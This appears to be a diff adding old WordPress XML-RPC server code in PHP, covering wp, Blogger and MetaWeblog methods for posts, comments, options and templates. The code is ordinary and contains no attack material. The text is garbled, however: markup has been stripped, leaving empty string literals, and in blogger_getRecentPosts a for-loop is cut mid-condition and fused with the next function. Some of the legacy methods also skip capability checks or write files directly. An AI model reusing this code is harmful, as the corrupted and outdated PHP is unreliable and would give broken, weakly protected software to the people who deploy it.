wp_getCommentCount( $args ) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $post_id = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) { + return new IXR_Error( 403, __( 'You are not allowed access to details about comments.' ) ); + } + + do_action('xmlrpc_call', 'wp.getCommentCount'); + + $count = wp_count_comments( $post_id ); + return array( + "approved" => $count->approved, + "awaiting_moderation" => $count->moderated, + "spam" => $count->spam, + "total_comments" => $count->total_comments + ); + } + + /** + * Retrieve post statuses. + * + * @since 2.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getPostStatusList( $args ) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) { + return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) ); + } + + do_action('xmlrpc_call', 'wp.getPostStatusList'); + + return get_post_statuses( ); + } + + /** + * Retrieve page statuses. + * + * @since 2.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getPageStatusList( $args ) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) { + return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) ); + } + + do_action('xmlrpc_call', 'wp.getPageStatusList'); + + return get_page_statuses( ); + } + + /** + * Retrieve page templates. + * + * @since 2.6.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getPageTemplates( $args ) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_pages' ) ) { + return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) ); + } + + $templates = get_page_templates( ); + $templates['Default'] = 'default'; + + return $templates; + } + + /** + * Retrieve blog options. + * + * @since 2.6.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getOptions( $args ) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $options = (array) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + // If no specific options where asked for, return all of them + if (count( $options ) == 0 ) { + $options = array_keys($this->blog_options); + } + + return $this->_getOptions($options); + } + + /** + * Retrieve blog options value from list. + * + * @since 2.6.0 + * + * @param array $options Options to retrieve. + * @return array + */ + function _getOptions($options) + { + $data = array( ); + foreach( $options as $option ) { + if( array_key_exists( $option, $this->blog_options ) ) + { + $data[$option] = $this->blog_options[$option]; + //Is the value static or dynamic? + if( isset( $data[$option]['option'] ) ) { + $data[$option]['value'] = get_option( $data[$option]['option'] ); + unset($data[$option]['option']); + } + } + } + + return $data; + } + + /** + * Update blog options. + * + * @since 2.6.0 + * + * @param array $args Method parameters. + * @return unknown + */ + function wp_setOptions( $args ) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $options = (array) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'manage_options' ) ) + return new IXR_Error( 403, __( 'You are not allowed to update options.' ) ); + + foreach( $options as $o_name => $o_value ) { + $option_names[] = $o_name; + if( !array_key_exists( $o_name, $this->blog_options ) ) + continue; + + if( $this->blog_options[$o_name]['readonly'] == true ) + continue; + + update_option( $this->blog_options[$o_name]['option'], $o_value ); + } + + //Now return the updated values + return $this->_getOptions($option_names); + } + + /* Blogger API functions. + * specs on http://plant.blogger.com/api and http://groups.yahoo.com/group/bloggerDev/ + */ + + /** + * Retrieve blogs that user owns. + * + * Will make more sense once we support multiple blogs. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function blogger_getUsersBlogs($args) { + + $this->escape($args); + + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.getUsersBlogs'); + + $is_admin = current_user_can('manage_options'); + + $struct = array( + 'isAdmin' => $is_admin, + 'url' => get_option('home') . '/', + 'blogid' => '1', + 'blogName' => get_option('blogname'), + 'xmlrpc' => site_url( 'xmlrpc.php' ) + ); + + return array($struct); + } + + /** + * Retrieve user's data. + * + * Gives your client some info about you, so you don't have to. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function blogger_getUserInfo($args) { + + $this->escape($args); + + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) + return new IXR_Error( 401, __( 'Sorry, you do not have access to user data on this blog.' ) ); + + do_action('xmlrpc_call', 'blogger.getUserInfo'); + + $struct = array( + 'nickname' => $user->nickname, + 'userid' => $user->ID, + 'url' => $user->user_url, + 'lastname' => $user->last_name, + 'firstname' => $user->first_name + ); + + return $struct; + } + + /** + * Retrieve post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function blogger_getPost($args) { + + $this->escape($args); + + $post_ID = (int) $args[1]; + $username = $args[2]; + $password = $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_post', $post_ID ) ) + return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) ); + + do_action('xmlrpc_call', 'blogger.getPost'); + + $post_data = wp_get_single_post($post_ID, ARRAY_A); + + $categories = implode(',', wp_get_post_categories($post_ID)); + + $content = ''.stripslashes($post_data['post_title']).''; + $content .= ''.$categories.''; + $content .= stripslashes($post_data['post_content']); + + $struct = array( + 'userid' => $post_data['post_author'], + 'dateCreated' => new IXR_Date(mysql2date('Ymd\TH:i:s', $post_data['post_date'], false)), + 'content' => $content, + 'postid' => $post_data['ID'] + ); + + return $struct; + } + + /** + * Retrieve list of recent posts. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function blogger_getRecentPosts($args) { + + $this->escape($args); + + $blog_ID = (int) $args[1]; /* though we don't use it yet */ + $username = $args[2]; + $password = $args[3]; + $num_posts = $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.getRecentPosts'); + + $posts_list = wp_get_recent_posts($num_posts); + + if (!$posts_list) { + $this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.')); + return $this->error; + } + + foreach ($posts_list as $entry) { + if( !current_user_can( 'edit_post', $entry['ID'] ) ) + continue; + + $post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false); + $categories = implode(',', wp_get_post_categories($entry['ID'])); + + $content = ''.stripslashes($entry['post_title']).''; + $content .= ''.$categories.''; + $content .= stripslashes($entry['post_content']); + + $struct[] = array( + 'userid' => $entry['post_author'], + 'dateCreated' => new IXR_Date($post_date), + 'content' => $content, + 'postid' => $entry['ID'], + ); + + } + + $recent_posts = array(); + for ($j=0; $jescape($args); + + $blog_ID = (int) $args[1]; + $username = $args[2]; + $password = $args[3]; + $template = $args[4]; /* could be 'main' or 'archiveIndex', but we don't use it */ + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.getTemplate'); + + if ( !current_user_can('edit_themes') ) { + return new IXR_Error(401, __('Sorry, this user can not edit the template.')); + } + + /* warning: here we make the assumption that the blog's URL is on the same server */ + $filename = get_option('home') . '/'; + $filename = preg_replace('#https?://.+?/#', $_SERVER['DOCUMENT_ROOT'].'/', $filename); + + $f = fopen($filename, 'r'); + $content = fread($f, filesize($filename)); + fclose($f); + + /* so it is actually editable with a windows/mac client */ + // FIXME: (or delete me) do we really want to cater to bad clients at the expense of good ones by BEEPing up their line breaks? commented. $content = str_replace("\n", "\r\n", $content); + + return $content; + } + + /** + * Updates the content of blog_filename. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return bool True when done. + */ + function blogger_setTemplate($args) { + + $this->escape($args); + + $blog_ID = (int) $args[1]; + $username = $args[2]; + $password = $args[3]; + $content = $args[4]; + $template = $args[5]; /* could be 'main' or 'archiveIndex', but we don't use it */ + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.setTemplate'); + + if ( !current_user_can('edit_themes') ) { + return new IXR_Error(401, __('Sorry, this user cannot edit the template.')); + } + + /* warning: here we make the assumption that the blog's URL is on the same server */ + $filename = get_option('home') . '/'; + $filename = preg_replace('#https?://.+?/#', $_SERVER['DOCUMENT_ROOT'].'/', $filename); + + if ($f = fopen($filename, 'w+')) { + fwrite($f, $content); + fclose($f); + } else { + return new IXR_Error(500, __('Either the file is not writable, or something wrong happened. The file has not been updated.')); + } + + return true; + } + + /** + * Create new post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return int + */ + function blogger_newPost($args) { + + $this->escape($args); + + $blog_ID = (int) $args[1]; /* though we don't use it yet */ + $username = $args[2]; + $password = $args[3]; + $content = $args[4]; + $publish = $args[5]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.newPost'); + + $cap = ($publish) ? 'publish_posts' : 'edit_posts'; + if ( !current_user_can($cap) ) + return new IXR_Error(401, __('Sorry, you are not allowed to post on this blog.')); + + $post_status = ($publish) ? 'publish' : 'draft'; + + $post_author = $user->ID; + + $post_title = xmlrpc_getposttitle($content); + $post_category = xmlrpc_getpostcategory($content); + $post_content = xmlrpc_removepostdata($content); + + $post_date = current_time('mysql'); + $post_date_gmt = current_time('mysql', 1); + + $post_data = compact('blog_ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status'); + + $post_ID = wp_insert_post($post_data); + if ( is_wp_error( $post_ID ) ) + return new IXR_Error(500, $post_ID->get_error_message()); + + if (!$post_ID) + return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.')); + + $this->attach_uploads( $post_ID, $post_content ); + + logIO('O', "Posted ! ID: $post_ID"); + + return $post_ID; + } + + /** + * Edit a post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return bool true when done. + */ + function blogger_editPost($args) { + + $this->escape($args); + + $post_ID = (int) $args[1]; + $username = $args[2]; + $password = $args[3]; + $content = $args[4]; + $publish = $args[5]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.editPost'); + + $actual_post = wp_get_single_post($post_ID,ARRAY_A); + + if (!$actual_post || $actual_post['post_type'] != 'post') { + return new IXR_Error(404, __('Sorry, no such post.')); + } + + $this->escape($actual_post); + + if ( !current_user_can('edit_post', $post_ID) ) + return new IXR_Error(401, __('Sorry, you do not have the right to edit this post.')); + + extract($actual_post, EXTR_SKIP); + + if ( ('publish' == $post_status) && !current_user_can('publish_posts') ) + return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.')); + + $post_title = xmlrpc_getposttitle($content); + $post_category = xmlrpc_getpostcategory($content); + $post_content = xmlrpc_removepostdata($content); + + $postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt'); + + $result = wp_update_post($postdata); + + if (!$result) { + return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be edited.')); + } + $this->attach_uploads( $ID, $post_content ); + + return true; + } + + /** + * Remove a post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return bool True when post is deleted. + */ + function blogger_deletePost($args) { + $this->escape($args); + + $post_ID = (int) $args[1]; + $username = $args[2]; + $password = $args[3]; + $publish = $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'blogger.deletePost'); + + $actual_post = wp_get_single_post($post_ID,ARRAY_A); + + if (!$actual_post || $actual_post['post_type'] != 'post') { + return new IXR_Error(404, __('Sorry, no such post.')); + } + + if ( !current_user_can('edit_post', $post_ID) ) + return new IXR_Error(401, __('Sorry, you do not have the right to delete this post.')); + + $result = wp_delete_post($post_ID); + + if (!$result) { + return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be deleted.')); + } + + return true; + } + + /* MetaWeblog API functions + * specs on wherever Dave Winer wants them to be + */ + + /** + * Create a new post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return int + */ + function mw_newPost($args) { + $this->escape($args); + + $blog_ID = (int) $args[0]; // we will support this in the near future + $username = $args[1]; + $password = $args[2]; + $content_struct = $args[3]; + $publish = $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'metaWeblog.newPost'); + + $cap = ( $publish ) ? 'publish_posts' : 'edit_posts'; + $error_message = __( 'Sorry, you are not allowed to publish posts on this blog.' ); + $post_type = 'post'; + $page_template = ''; + if( !empty( $content_struct['post_type'] ) ) { + if( $content_struct['post_type'] == 'page' ) { + $cap = ( $publish ) ? 'publish_pages' : 'edit_pages'; + $error_message = __( 'Sorry, you are not allowed to publish pages on this blog.' ); + $post_type = 'page'; + if( !empty( $content_struct['wp_page_template'] ) ) + $page_template = $content_struct['wp_page_template']; + } + elseif( $content_struct['post_type'] == 'post' ) { + // This is the default, no changes needed + } + else { + // No other post_type values are allowed here + return new IXR_Error( 401, __( 'Invalid post type.' ) ); + } + } + + if( !current_user_can( $cap ) ) { + return new IXR_Error( 401, $error_message ); + } + + // Let WordPress generate the post_name (slug) unless + // one has been provided. + $post_name = ""; + if(isset($content_struct["wp_slug"])) { + $post_name = $content_struct["wp_slug"]; + } + + // Only use a password if one was given. + if(isset($content_struct["wp_password"])) { + $post_password = $content_struct["wp_password"]; + } + + // Only set a post parent if one was provided. + if(isset($content_struct["wp_page_parent_id"])) { + $post_parent = $content_struct["wp_page_parent_id"]; + } + + // Only set the menu_order if it was provided. + if(isset($content_struct["wp_page_order"])) { + $menu_order = $content_struct["wp_page_order"]; + } + + $post_author = $user->ID; + + // If an author id was provided then use it instead. + if( + isset($content_struct["wp_author_id"]) + && ($user->ID != $content_struct["wp_author_id"]) + ) { + switch($post_type) { + case "post": + if(!current_user_can("edit_others_posts")) { + return(new IXR_Error(401, __("You are not allowed to post as this user"))); + } + break; + case "page": + if(!current_user_can("edit_others_pages")) { + return(new IXR_Error(401, __("You are not allowed to create pages as this user"))); + } + break; + default: + return(new IXR_Error(401, __("Invalid post type."))); + break; + } + $post_author = $content_struct["wp_author_id"]; + } + + $post_title = $content_struct['title']; + $post_content = $content_struct['description']; + + $post_status = $publish ? 'publish' : 'draft'; + + if( isset( $content_struct["{$post_type}_status"] ) ) { + switch( $content_struct["{$post_type}_status"] ) { + case 'draft': + case 'private': + case 'publish': + $post_status = $content_struct["{$post_type}_status"]; + break; + case 'pending': + // Pending is only valid for posts, not pages. + if( $post_type === 'post' ) { + $post_status = $content_struct["{$post_type}_status"]; + } + break; + default: + $post_status = $publish ? 'publish' : 'draft'; + break; + } + } + + $post_excerpt = $content_struct['mt_excerpt']; + $post_more = $content_struct['mt_text_more']; + + $tags_input = $content_struct['mt_keywords']; + + if(isset($content_struct["mt_allow_comments"])) { + if(!is_numeric($content_struct["mt_allow_comments"])) { + switch($content_struct["mt_allow_comments"]) { + case "closed": + $comment_status = "closed"; + break; + case "open": + $comment_status = "open"; + break; + default: + $comment_status = get_option("default_comment_status"); + break; + } + } + else { + switch((int) $content_struct["mt_allow_comments"]) { + case 0: + case 2: + $comment_status = "closed"; + break; + case 1: + $comment_status = "open"; + break; + default: + $comment_status = get_option("default_comment_status"); + break; + } + } + } + else { + $comment_status = get_option("default_comment_status"); + } + + if(isset($content_struct["mt_allow_pings"])) { + if(!is_numeric($content_struct["mt_allow_pings"])) { + switch($content_struct['mt_allow_pings']) { + case "closed": + $ping_status = "closed"; + break; + case "open": + $ping_status = "open"; + break; + default: + $ping_status = get_option("default_ping_status"); + break; + } + } + else { + switch((int) $content_struct["mt_allow_pings"]) { + case 0: + $ping_status = "closed"; + break; + case 1: + $ping_status = "open"; + break; + default: + $ping_status = get_option("default_ping_status"); + break; + } + } + } + else { + $ping_status = get_option("default_ping_status"); + } + + if ($post_more) { + $post_content = $post_content . "" . $post_more; + } + + $to_ping = $content_struct['mt_tb_ping_urls']; + if ( is_array($to_ping) ) + $to_ping = implode(' ', $to_ping); + + // Do some timestamp voodoo + if ( !empty( $content_struct['date_created_gmt'] ) ) + $dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']->getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force + elseif ( !empty( $content_struct['dateCreated']) ) + $dateCreated = $content_struct['dateCreated']->getIso(); + + if ( !empty( $dateCreated ) ) { + $post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated)); + $post_date_gmt = iso8601_to_datetime($dateCreated, GMT); + } else { + $post_date = current_time('mysql'); + $post_date_gmt = current_time('mysql', 1); + } + + $catnames = $content_struct['categories']; + logIO('O', 'Post cats: ' . var_export($catnames,true)); + $post_category = array(); + + if (is_array($catnames)) { + foreach ($catnames as $cat) { + $post_category[] = get_cat_ID($cat); + } + } + + // We've got all the data -- post it: + $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template'); + + $post_ID = wp_insert_post($postdata, true); + if ( is_wp_error( $post_ID ) ) + return new IXR_Error(500, $post_ID->get_error_message()); + + if (!$post_ID) { + return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.')); + } + + // Only posts can be sticky + if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) + if ( $content_struct['sticky'] == true ) + stick_post( $post_ID ); + elseif ( $content_struct['sticky'] == false ) + unstick_post( $post_ID ); + + if ( isset($content_struct['custom_fields']) ) { + $this->set_custom_fields($post_ID, $content_struct['custom_fields']); + } + + // Handle enclosures + $this->add_enclosure_if_new($post_ID, $content_struct['enclosure']); + + $this->attach_uploads( $post_ID, $post_content ); + + logIO('O', "Posted ! ID: $post_ID"); + + return strval($post_ID); + } + + function add_enclosure_if_new($post_ID, $enclosure) { + if( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) { + + $encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type']; + $found = false; + foreach ( (array) get_post_custom($post_ID) as $key => $val) { + if ($key == 'enclosure') { + foreach ( (array) $val as $enc ) { + if ($enc == $encstring) { + $found = true; + break 2; + } + } + } + } + if (!$found) { + add_post_meta( $post_ID, 'enclosure', $encstring ); + } + } + } + + /** + * Attach upload to a post. + * + * @since 2.1.0 + * + * @param int $post_ID Post ID. + * @param string $post_content Post Content for attachment. + */ + function attach_uploads( $post_ID, $post_content ) { + global $wpdb; + + // find any unattached files + $attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '0' AND post_type = 'attachment'" ); + if( is_array( $attachments ) ) { + foreach( $attachments as $file ) { + if( strpos( $post_content, $file->guid ) !== false ) { + $wpdb->update($wpdb->posts, array('post_parent' => $post_ID), array('ID' => $file->ID) ); + } + } + } + } + + /** + * Edit a post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return bool True on success. + */ + function mw_editPost($args) { + + $this->escape($args); + + $post_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $content_struct = $args[3]; + $publish = $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'metaWeblog.editPost'); + + $cap = ( $publish ) ? 'publish_posts' : 'edit_posts'; + $error_message = __( 'Sorry, you are not allowed to publish posts on this blog.' ); + $post_type = 'post'; + $page_template = ''; + if( !empty( $content_struct['post_type'] ) ) { + if( $content_struct['post_type'] == 'page' ) { + $cap = ( $publish ) ? 'publish_pages' : 'edit_pages'; + $error_message = __( 'Sorry, you are not allowed to publish pages on this blog.' ); + $post_type = 'page'; + if( !empty( $content_struct['wp_page_template'] ) ) + $page_template = $content_struct['wp_page_template']; + } + elseif( $content_struct['post_type'] == 'post' ) { + // This is the default, no changes needed + } + else { + // No other post_type values are allowed here + return new IXR_Error( 401, __( 'Invalid post type.' ) ); + } + } + + if( !current_user_can( $cap ) ) { + return new IXR_Error( 401, $error_message ); + } + + $postdata = wp_get_single_post($post_ID, ARRAY_A); + + // If there is no post data for the give post id, stop + // now and return an error. Other wise a new post will be + // created (which was the old behavior). + if(empty($postdata["ID"])) { + return(new IXR_Error(404, __("Invalid post ID."))); + } + + $this->escape($postdata); + extract($postdata, EXTR_SKIP); + + // Let WordPress manage slug if none was provided. + $post_name = ""; + if(isset($content_struct["wp_slug"])) { + $post_name = $content_struct["wp_slug"]; + } + + // Only use a password if one was given. + if(isset($content_struct["wp_password"])) { + $post_password = $content_struct["wp_password"]; + } + + // Only set a post parent if one was given. + if(isset($content_struct["wp_page_parent_id"])) { + $post_parent = $content_struct["wp_page_parent_id"]; + } + + // Only set the menu_order if it was given. + if(isset($content_struct["wp_page_order"])) { + $menu_order = $content_struct["wp_page_order"]; + } + + $post_author = $postdata["post_author"]; + + // Only set the post_author if one is set. + if( + isset($content_struct["wp_author_id"]) + && ($user->ID != $content_struct["wp_author_id"]) + ) { + switch($post_type) { + case "post": + if(!current_user_can("edit_others_posts")) { + return(new IXR_Error(401, __("You are not allowed to change the post author as this user."))); + } + break; + case "page": + if(!current_user_can("edit_others_pages")) { + return(new IXR_Error(401, __("You are not allowed to change the page author as this user."))); + } + break; + default: + return(new IXR_Error(401, __("Invalid post type."))); + break; + } + $post_author = $content_struct["wp_author_id"]; + } + + if(isset($content_struct["mt_allow_comments"])) { + if(!is_numeric($content_struct["mt_allow_comments"])) { + switch($content_struct["mt_allow_comments"]) { + case "closed": + $comment_status = "closed"; + break; + case "open": + $comment_status = "open"; + break; + default: + $comment_status = get_option("default_comment_status"); + break; + } + } + else { + switch((int) $content_struct["mt_allow_comments"]) { + case 0: + case 2: + $comment_status = "closed"; + break; + case 1: + $comment_status = "open"; + break; + default: + $comment_status = get_option("default_comment_status"); + break; + } + } + } + + if(isset($content_struct["mt_allow_pings"])) { + if(!is_numeric($content_struct["mt_allow_pings"])) { + switch($content_struct["mt_allow_pings"]) { + case "closed": + $ping_status = "closed"; + break; + case "open": + $ping_status = "open"; + break; + default: + $ping_status = get_option("default_ping_status"); + break; + } + } + else { + switch((int) $content_struct["mt_allow_pings"]) { + case 0: + $ping_status = "closed"; + break; + case 1: + $ping_status = "open"; + break; + default: + $ping_status = get_option("default_ping_status"); + break; + } + } + } + + $post_title = $content_struct['title']; + $post_content = $content_struct['description']; + $catnames = $content_struct['categories']; + + $post_category = array(); + + if (is_array($catnames)) { + foreach ($catnames as $cat) { + $post_category[] = get_cat_ID($cat); + } + } + + $post_excerpt = $content_struct['mt_excerpt']; + $post_more = $content_struct['mt_text_more']; + + $post_status = $publish ? 'publish' : 'draft'; + if( isset( $content_struct["{$post_type}_status"] ) ) { + switch( $content_struct["{$post_type}_status"] ) { + case 'draft': + case 'private': + case 'publish': + $post_status = $content_struct["{$post_type}_status"]; + break; + case 'pending': + // Pending is only valid for posts, not pages. + if( $post_type === 'post' ) { + $post_status = $content_struct["{$post_type}_status"]; + } + break; + default: + $post_status = $publish ? 'publish' : 'draft'; + break; + } + } + + $tags_input = $content_struct['mt_keywords']; + + if ( ('publish' == $post_status) ) { + if ( ( 'page' == $post_type ) && !current_user_can('publish_pages') ) + return new IXR_Error(401, __('Sorry, you do not have the right to publish this page.')); + else if ( !current_user_can('publish_posts') ) + return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.')); + } + + if ($post_more) { + $post_content = $post_content . "" . $post_more; + } + + $to_ping = $content_struct['mt_tb_ping_urls']; + if ( is_array($to_ping) ) + $to_ping = implode(' ', $to_ping); + + // Do some timestamp voodoo + if ( !empty( $content_struct['date_created_gmt'] ) ) + $dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']->getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force + elseif ( !empty( $content_struct['dateCreated']) ) + $dateCreated = $content_struct['dateCreated']->getIso(); + + if ( !empty( $dateCreated ) ) { + $post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated)); + $post_date_gmt = iso8601_to_datetime($dateCreated, GMT); + } else { + $post_date = $postdata['post_date']; + $post_date_gmt = $postdata['post_date_gmt']; + } + + // We've got all the data -- post it: + $newpost = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template'); + + $result = wp_update_post($newpost, true); + if ( is_wp_error( $result ) ) + return new IXR_Error(500, $result->get_error_message()); + + if (!$result) { + return new IXR_Error(500, __('Sorry, your entry could not be edited. Something wrong happened.')); + } + + // Only posts can be sticky + if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) + if ( $content_struct['sticky'] == true ) + stick_post( $post_ID ); + elseif ( $content_struct['sticky'] == false ) + unstick_post( $post_ID ); + + if ( isset($content_struct['custom_fields']) ) { + $this->set_custom_fields($post_ID, $content_struct['custom_fields']); + } + + // Handle enclosures + $this->add_enclosure_if_new($post_ID, $content_struct['enclosure']); + + $this->attach_uploads( $ID, $post_content ); + + logIO('O',"(MW) Edited ! ID: $post_ID"); + + return true; + } + + /** + * Retrieve post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function mw_getPost($args) { + + $this->escape($args); + + $post_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_post', $post_ID ) ) + return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) ); + + do_action('xmlrpc_call', 'metaWeblog.getPost'); + + $postdata = wp_get_single_post($post_ID, ARRAY_A); + + if ($postdata['post_date'] != '') { + $post_date = mysql2date('Ymd\TH:i:s', $postdata['post_date'], false); + $post_date_gmt = mysql2date('Ymd\TH:i:s', $postdata['post_date_gmt'], false); + + // For drafts use the GMT version of the post date + if ( $postdata['post_status'] == 'draft' ) { + $post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $postdata['post_date'] ), 'Ymd\TH:i:s' ); + } + + $categories = array(); + $catids = wp_get_post_categories($post_ID); + foreach($catids as $catid) + $categories[] = get_cat_name($catid); + + $tagnames = array(); + $tags = wp_get_post_tags( $post_ID ); + if ( !empty( $tags ) ) { + foreach ( $tags as $tag ) + $tagnames[] = $tag->name; + $tagnames = implode( ', ', $tagnames ); + } else { + $tagnames = ''; + } + + $post = get_extended($postdata['post_content']); + $link = post_permalink($postdata['ID']); + + // Get the author info. + $author = get_userdata($postdata['post_author']); + + $allow_comments = ('open' == $postdata['comment_status']) ? 1 : 0; + $allow_pings = ('open' == $postdata['ping_status']) ? 1 : 0; + + // Consider future posts as published + if( $postdata['post_status'] === 'future' ) { + $postdata['post_status'] = 'publish'; + } + + $sticky = false; + if ( is_sticky( $post_ID ) ) + $sticky = true; + + $enclosure = array(); + foreach ( (array) get_post_custom($post_ID) as $key => $val) { + if ($key == 'enclosure') { + foreach ( (array) $val as $enc ) { + $encdata = split("\n", $enc); + $enclosure['url'] = trim(htmlspecialchars($encdata[0])); + $enclosure['length'] = trim($encdata[1]); + $enclosure['type'] = trim($encdata[2]); + break 2; + } + } + } + + $resp = array( + 'dateCreated' => new IXR_Date($post_date), + 'userid' => $postdata['post_author'], + 'postid' => $postdata['ID'], + 'description' => $post['main'], + 'title' => $postdata['post_title'], + 'link' => $link, + 'permaLink' => $link, + // commented out because no other tool seems to use this + // 'content' => $entry['post_content'], + 'categories' => $categories, + 'mt_excerpt' => $postdata['post_excerpt'], + 'mt_text_more' => $post['extended'], + 'mt_allow_comments' => $allow_comments, + 'mt_allow_pings' => $allow_pings, + 'mt_keywords' => $tagnames, + 'wp_slug' => $postdata['post_name'], + 'wp_password' => $postdata['post_password'], + 'wp_author_id' => $author->ID, + 'wp_author_display_name' => $author->display_name, + 'date_created_gmt' => new IXR_Date($post_date_gmt), + 'post_status' => $postdata['post_status'], + 'custom_fields' => $this->get_custom_fields($post_ID), + 'sticky' => $sticky + ); + + if (!empty($enclosure)) $resp['enclosure'] = $enclosure; + + return $resp; + } else { + return new IXR_Error(404, __('Sorry, no such post.')); + } + } + + /** + * Retrieve list of recent posts. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function mw_getRecentPosts($args) { + + $this->escape($args); + + $blog_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $num_posts = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'metaWeblog.getRecentPosts'); + + $posts_list = wp_get_recent_posts($num_posts); + + if (!$posts_list) { + return array( ); + } + + foreach ($posts_list as $entry) { + if( !current_user_can( 'edit_post', $entry['ID'] ) ) + continue; + + $post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false); + $post_date_gmt = mysql2date('Ymd\TH:i:s', $entry['post_date_gmt'], false); + + // For drafts use the GMT version of the date + if ( $entry['post_status'] == 'draft' ) { + $post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $entry['post_date'] ), 'Ymd\TH:i:s' ); + } + + $categories = array(); + $catids = wp_get_post_categories($entry['ID']); + foreach($catids as $catid) { + $categories[] = get_cat_name($catid); + } + + $tagnames = array(); + $tags = wp_get_post_tags( $entry['ID'] ); + if ( !empty( $tags ) 